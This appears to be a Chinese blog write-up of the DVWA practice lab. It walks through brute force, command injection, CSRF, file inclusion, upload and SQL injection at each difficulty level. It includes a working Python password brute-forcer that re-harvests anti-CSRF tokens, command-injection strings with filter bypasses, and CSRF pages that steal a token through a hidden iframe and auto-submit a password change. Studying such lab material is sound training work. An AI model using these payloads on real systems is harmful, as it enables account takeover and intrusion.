DVWA 靶场 Writeup

Damn Vulnerable Web Application

暴力破解 Brute Force

重复猜密码(账号)

条件:

弱密码。英文中的词、家的名字、过于简短的密码(6-7位)、可预测的模式
验证过程没有难以绕过(识别)的验证码
没有尝试多次后封IP地址等

low:
直接获取参数拼接到sql语句中去了,然后sql注入的话,直接上sqlmap。
暴力破解,burpsuite抓包,发送到repeater,发现没有别的验证,直接可以暴力破解密码。
错误时有提示”Username and/or password incorrect”
尝试暴力破解admin账号的密码。
medium:
添加了mysqli_real_escape_string函数

mysqli_real_escape_string转义字符串中的特殊字符:
  编码的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z
  如: '  变成 \'

但是还是可以注入。
然后,增加了sleep(2)延时来一定程度上抑制暴力破解,但是其实是没有用的。
high:
添加了checkToken,burpsuite添加自动获取user_token比较麻烦,直接写个简单的python脚本

#-*- coding: UTF-8 -*-
import requests
def read_token(html):
    l = html.find("name='user_token")+25
    print(l)
    return html[l:l+32]
url="http://hack.com/DVWA/vulnerabilities/brute/index.php?username=admin&password=%s&Login=Login&user_token=%s"
passwords = ['t','admin','123456','password','test']
token = 'd6892bec17f92ebb73c5a57825c355e9'
for p in passwords:
    print(p)
    r = requests.get(url=url%(p,token),cookies={'security':'high', 'PHPSESSID':'lu4qnvvftqnpjc4a2hf674juo2'},headers={'Referer':'http://hack.com/DVWA/vulnerabilities/brute/index.php'})
    #print(r.text)
    #file = open(p+'.html','w')
    #file.write(r.text)
    #file.close
    s = r.text
    if s.find('Username and/or password incorrect.') == -1:
        print('------Got it!!!')
    token = read_token(s)
    print(token)

还是可以sqlmap注入,可能需要burpsuite的Macro配合下,但是貌似不用都行。。。

impossible:
添加stripslashes函数去除反斜杠,难道是防止宽字节注入,然后,sql语句是用了预编译,断绝了注入的想法,密码错了数次后上锁,暴力破解绝望。

命令注入 Command Injection

对用户数据过滤不严格导致的,可以通过构造特殊的数据进行攻击。可以直接用&&和;来执行多条命令。

&&
;
||
&
|

low:
后台没有进行任何过滤,直接127.0.0.1&&dir就可以注入。&&或;
medium:
后台将&&和;替换为空,可以用||
high:
进行了更多的替换,然而,审视黑名单发现,将’| ‘替换为空,|后面有一个空格,所以,我们直接构造127.0.0.1 |dir 注意 |和dir之间没有空格即可。
impossible:
检验了保证IP地址都是数字,已经不能注入了。

CSRF

跨站点请求伪造
当登陆等后,会生成一个会话,此时,可以通过会话验证登录的身份。
low:
没有进行任何验证,可以伪造网址发给朋友

<img src=mm.jpg>
<iframe src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#" frameborder="0" ;0" />

或者

<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

medium:
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
检查HTTP_REFERER中是否包含SERVER_NAME直接将用于欺骗的网站的URL中包含有SERVER_NAME
如127.0.0.1.html
high:
采用了User_token来验证。
可以尝试利用

<script type="text/javascript">
    function attack()
  {
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
  document.getElementById("transfer").submit();
  }
</script>

<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>

<body onload="attack()">
  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
   <input type="hidden" name="password_new" value="password">
    <input type="hidden" name="password_conf" value="password">
   <input type="hidden" name="user_token" value="">
  <input type="hidden" name="Change" value="Change">
   </form>
</body>

impossible:
需要输入当前密码才可以改密码。

文件包含 File Inclusion

包含的文件无论文件后缀名是否为php,都会尝试当作php,如果真的不是,则打印文件内容。
所以,可能导致文件读取和代码执行。
low:
没有任何过滤。
medium:

http://和https:// 替换为空
../和、.." 替换为 空

high:
文件名需要符合file*或include.php
impossible:
白名单,没法子了。

文件上传 File Upload

能够上传上去
能够执行
low:
直接上传一句话
medium:
上传的文件名限定了
high:
需要配合文件包含
impossible:
不安全的验证 Insecure CAPTCHA
验证过程中的逻辑漏洞。

SQL 注入 SQL Injection

low:
什么都没有检测、过滤
medium:

mysqli_real_escape_string

依旧注入、
high:
impossible:
POD

SQL盲注 SQL Injection (Blind)

sqlmap
Weak Session IDs
XSS (DOM)
反射型XSS (Reflected)
储存型XSS (Stored)


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com